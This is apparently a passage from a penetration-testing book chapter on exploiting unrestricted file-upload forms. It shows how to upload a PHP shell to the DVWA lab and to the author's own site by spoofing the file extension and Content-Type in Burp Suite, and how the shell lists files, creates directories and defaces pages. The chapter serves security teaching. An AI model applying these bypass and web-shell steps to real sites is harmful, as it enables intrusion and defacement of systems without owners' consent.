Uploading Malicious Files to Own a System

To start with, the file-upload-module needs a “file upload form.” This form could easily be a major security risk because, if it is done without a full understanding of the risks associated with it, it might open the doors for server compromise. However, despite the security concerns, you cannot imagine a web application without a file-upload-module. It is one of the most common requirements.

As a penetration tester, you will find that several applications still contain an insecure, unrestricted file-upload-module. In this section we will discuss those common flaws. Before that, we will see how we can upload malicious PHP code to an intentionally vulnerable web application, and we will also try to do the same on a live application.

Let us first open our Burp Suite, keeping its “intercept” in “off” mode. Open the OWASP broken web application in your virtual lab and click the Damn Vulnerable Web Application or DVWA. Log in the application with the user name “admin” and password “admin” (Figure 6-1).

We will try to upload malicious PHP code to this application. On the left panel you will find a link—“upload.” Usually, it accepts only images with extensions such as jpg, jpeg, gif, and png. If you want to upload any text file, it rejects it. If you want to upload any PHP file, it rejects it. Our challenge is to upload a malicious PHP shell command that will give us a directory listing, as well as also creating a directory called “hacker.”

Let us go to the page source of DVWA to find if the form has vulnerabilities.

It is a simple HTML form without having any server-side validation. You have noticed that the weakness is the action area where a PHP file should have validated and sanitized the file.

At the same time, in a live and secured web application https://sanjib.site, which I own, I have a similar file-upload-module where I have done the server validation and restricted file upload to only images. The file-upload-module interface looks like this (Figure 6-2).

Let us first try to upload an image using https://sanjib.site/upload live interface (Figure 6-3).

It works. In the next figure, we can see that the image has been uploaded successfully (Figure 6-4).

Here we need to understand one simple thing. A simple file-upload-module usually consists of an HTML form. It is presented to the user who is using this interface to upload an image or any file. We need to have a server-side script to process that request.

In https://sanjib.site/upload, we also have a server-side script like this:

You could have started a PHP session here, and maintain that session in the “upload.php ” where the real action takes place.

Now you can compare both code listings: the intentionally vulnerable application DVWA has an HTML form only, and it does not have any dynamic processing mechanism that could have checked uploading other files.

On the other hand, in the https://sanjib.site/upload page we have that mechanism. Initially, it is enough to restrict other files, although it is not fully tested. We will see that in the next section, where we will discuss defacement.

Let’s do that now. Turn the “intercept” to “on” in Burp Suite so that we can watch the request and response (Figure 6-5).

At the same time, we have tried to upload the same malicious PHP code to the https://sanjib.site/upload page. Let us first see what response we have received from the https://sanjib.site/upload page (Figure 6-6).

The https://sanjib.site/upload page has rejected the malicious code. In its output, it clearly says what type of files it would accept.

However, the DVWA application has given us a completely different output (Figure 6-7).

Visit the URL mentioned as a result of the upload in Figure 6-7 (192.168.2./dvwa/hackable/uploads/shell-command.php). We are able to create a directory called hacker in that application (Figure 6-8).

We can move into that directory through our URL now (Figure 6-9).

In this section, we have learned how we can upload malicious code to any web application that has vulnerabilities in its file-upload-module. We have also learned that primarily a strong back-end mechanism can thwart that attack.

However, is it enough?

We will see in the next section, where we are going to hack a live system that I own: https://sanjib.site/upload. Since I am the owner of this site, I can test it. But, remember, you may not do the same test on any live system without first getting permission from the owner.

Owning a Web Site

We have seen examples of real-life defacement earlier; many web sites were taken down and the home page was defaced by some messages. Hackers of any enemy country take over any government web site and post some foul comments declaring that the site has been hacked. This is a typical example of defacement; we have seen it in the case of the Anonymous group. Basically, defacement represents owning a system.

However, the root of defacement goes deeper. It is not always just blurring a web site home page with another image. The concept of owning a system goes much deeper than what we see in front of us. Defacement is a part, just a physical expression of owning a system; however, it undermines reputation. Furthermore, owning a system may infect a database, stealing user passwords or attacking other related applications and so on. We are going to deface https://sanjib.site/upload in a minute; then you will find how dangerous that can be.

The uploaded file metadata is very important. The metadata consists of all the information related to that file. It includes the extension, the type of file, the owner of the file, whether the file is writable or not, etc. We are going to trick the server of the https://sanjib.site/upload application into accepting the malicious PHP shell code. Again, we are going to upload a PHP file that will execute shell commands so that we can own the system. I want to repeat it again: defacement is a small part of owning a system. Owning a system means many things that I have just explained.

We have not written a special .htaccess file that allows only jpg, jpeg, gif, and png files. For these specific requirements, we should do so.

In our case, let us see what is going to happen. We will upload the malicious PHP code using Burp Suite. Now, keeping our Burp Suite intercept in the “on” mode, let’s try to upload this malicious PHP code; the filename is shell-command.php :

Again, we will send the raw request to the Repeater tool (Figure 6-10). Clicking on the Repeater tab's “Go” button on the Request section will give us the response. We will see that response shortly, in Figure 6-12.

In the Response section, the shell-command.php code will only appear after you click the “Go” button in the “Request” section; it is shown along with the header text.

Now, let us watch the Request part of the left side of the Repeater tab closely (Figure 6-11). We will not only change the filename, but also we will add a .jpg extension with the filename, to trick the server. At the same time, we will have to change the content-type to image/jpg (Figure 6-11).

We are going to trick the server that it is an image with extension .jpg, which is allowed. At the same time, we have changed the Content-Type to image/jpg. Remember, you have to manually edit the Request section on the left-hand side, which we have done in Figure 6-11. After that we need to click the “Go” button again. In Figure 6-12, you can see the header part of the Request and Response section.

The figure was captured before we had clicked the “Go” button on the Request section. Clicking the “Go” button will inject the malicious file into the site.

That is all we need to deface the web application https://sanjib.site/upload.

Figure 6-12 clearly shows us that it is going to work when you click the “Go” button, because when you type https://sanjib.site/upload/shell-command.php the file executes the shell commands and runs the ls -la command. Along with that, it has created the directory. However, due to the Burp Suite Repeater tab, the filename may change. It shows us a new file 8.php in our directory. This change may have happened for several reasons because the system was live. I have made it intentionally vulnerable, and the hosting company's security infrastructure may have interfered.

Remember, as a penetration tester, you must not use any live system to show this type of owning the system attack that can deface any web site, except if you are the owner.

In the next step, I will show you a traditional defacement using the DVWA.

Figure 6-13 clearly shows us the directory listing of that folder, and at the same time it has also created a folder called “hacker”inside it. It is evident that when I own a system, doing the directory listing and creating a directory, it is not difficult to deface with a slogan as is usual in traditional defacement!

Traditional Defacement

Since I cannot deface my web site, I can try it in the virtual lab. Let us do that with an intentionally vulnerable application in our virtual lab.

Let us open the DVWA application, click the “upload file” section, and upload a PHP file named x.php (Figure 6-14).

The code of x.php is quite simple.

As we go through the source code of DVWA, we find that the form has not been sanitized properly.

It means we can upload any file and run it to deface the home page of that particular directory (Figure 6-15).

As a penetration tester, when you test your client's live system, you will try to upload any dynamic code. If the sanitization and validation part is not covered properly, you could upload any executable code using Burp Suite, as we have seen in the preceding examples.

Defacement is possible if the site is vulnerable to file upload. Being able to upload malicious files means you can deface any site with a flashy banner like this: “This site is hacked!” However, the fundamental attack that owns a system and allows the attacker to upload malicious file could be more dangerous.